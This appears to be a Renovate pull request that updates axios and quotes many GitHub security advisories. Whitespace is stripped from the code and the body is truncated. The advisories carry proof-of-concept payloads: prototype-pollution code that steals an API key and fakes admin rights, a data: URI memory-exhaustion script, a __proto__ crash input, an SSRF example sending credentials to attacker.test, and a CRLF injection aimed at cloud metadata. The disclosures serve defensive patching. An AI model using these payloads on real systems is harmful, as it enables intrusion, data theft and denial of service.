functionencode(str){constcharMap={'!': '%21',// literal → encoded (SAFE direction)"'": '%27',// literal → encoded (SAFE direction)'(': '%28',// literal → encoded (SAFE direction)')': '%29',// literal → encoded (SAFE direction)'~': '%7E',// literal → encoded (SAFE direction)'%20': '+',// standard transformation (SAFE)'%00': '\x00',// LINE 21: encoded → raw null byte (UNSAFE direction!)};returnencodeURIComponent(str).replace(/[!'()~]|%20|%00/g,functionreplacer(match){returncharMap[match];});}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it

Proof of Concept

importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

functionencode(str){constcharMap={'!': '%21',"'": '%27','(': '%28',')': '%29','~': '%7E','%20': '+',// REMOVED: '%00': '\x00'};returnencodeURIComponent(str).replace(/[!'()~]|%20/g,functionreplacer(match){// ^^^^ removed |%00returncharMap[match];});}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: HTTP adapter streamed responses bypass maxContentLength

More information

Details

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details

In lib/adapters/http.js:

786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment:

Axios main at commit f7a4ee2
Node v24.2.0

Steps:

Start an HTTP server that returns a 2 MiB response body.
Call Axios with:
- adapter: 'http'
- responseType: 'stream'
- maxContentLength: 1024
Read the returned stream fully.

Observed:

Success; full 2097152 bytes readable.

Control check:

Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact

Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

No constraints — the reviver can return any value (no "must return true" requirement)
Selective modification — individual JSON keys can be changed while others remain untouched
Invisible — the response structure and most values look completely normal
Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	`Object.prototype['header']`	`Object.prototype.transformResponse`	`Object.prototype.proxy`	`Object.prototype.parseReviver`
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return `true`	None	None
Data modification	Header injection only	Response replaced with `true`	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes `true` (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	`this.auth` + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	`assertOptions` validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response

Why `parseReviver` Bypasses ALL Existing Protections

Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File:lib/defaults/index.js, line 124

transformResponse: [functiontransformResponse(data){// ... transitional checks ...if(data&&utils.isString(data)&&((forcedJSONParsing&&!this.responseType)||JSONRequested)){// ...try{returnJSON.parse(data,this.parseReviver);// ^^^^^^^^^^^^^^^^^// this = config// config.parseReviver → prototype chain → attacker's function}catch(e){// ...}}returndata;},],

Proof of Concept

importhttpfrom'http';importaxiosfrom'./index.js';// Server returns a realistic authorization responseconstserver=http.createServer((req,res)=>{res.writeHead(200,{'Content-Type': 'application/json'});res.end(JSON.stringify({user: 'john',role: 'viewer',isAdmin: false,canDelete: false,balance: 100,permissions: ['read'],apiKey: 'sk-secret-internal-key',}));});awaitnewPromise(r=>server.listen(0,r));constport=server.address().port;// === Before Pollution ===constbefore=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('Before:',JSON.stringify(before.data));// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}// === Simulate Prototype Pollution ===letstolen={};Object.prototype.parseReviver=function(key,value){// Silently capture all original valuesif(key&&typeofvalue!=='object')stolen[key]=value;// Surgically modify specific valuesif(key==='isAdmin')returntrue;// false → trueif(key==='role')return'admin';// viewer → adminif(key==='canDelete')returntrue;// false → trueif(key==='balance')return999999;// 100 → 999999returnvalue;// everything else unchanged};// === After Pollution — same code, same URL ===constafter=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('After: ',JSON.stringify(after.data));// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}console.log('Stolen:',JSON.stringify(stolen));// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}deleteObject.prototype.parseReviver;server.close();

Verified PoC Output

[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}// Application sees: {"role":"admin","isAdmin":true}// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}// Application sees: {"balance":999999,"approved":true}// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}// Application sees: {"mfaRequired":false,"accountLocked":false}// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use `hasOwnProperty` check before using `parseReviver`

// FIXED: lib/defaults/index.jsconstreviver=Object.prototype.hasOwnProperty.call(this,'parseReviver')
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.jsconstconfig=Object.create(null);

Fix 3: Validate `parseReviver` type and source

// FIXED: lib/defaults/index.jsconstreviver=(typeofthis.parseReviver==='function'&&Object.prototype.hasOwnProperty.call(this,'parseReviver'))
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	`transformResponse`	`mergeConfig.js:49` (defaultToConfig2)	`mergeConfig.js`	Credential theft, response replaced with `true`
axios_30	`proxy`	`http.js:670` (direct property access)	`http.js`	Full MITM, traffic interception
axios_31 (this)	`parseReviver`	`defaults/index.js:124` (this.parseReviver)	`defaults/index.js`	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

**Different polluted properties

✂ Note
PR body was truncated to here.

renovate · 2025-09-14T00:11:37Z

ℹ️ Note
This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.7.7` → `1.18.0`

Axios is vulnerable to DoS attack through lack of data size check

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

Create a script (e.g., main.js):

importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);

Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Header Injection via Prototype Pollution

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

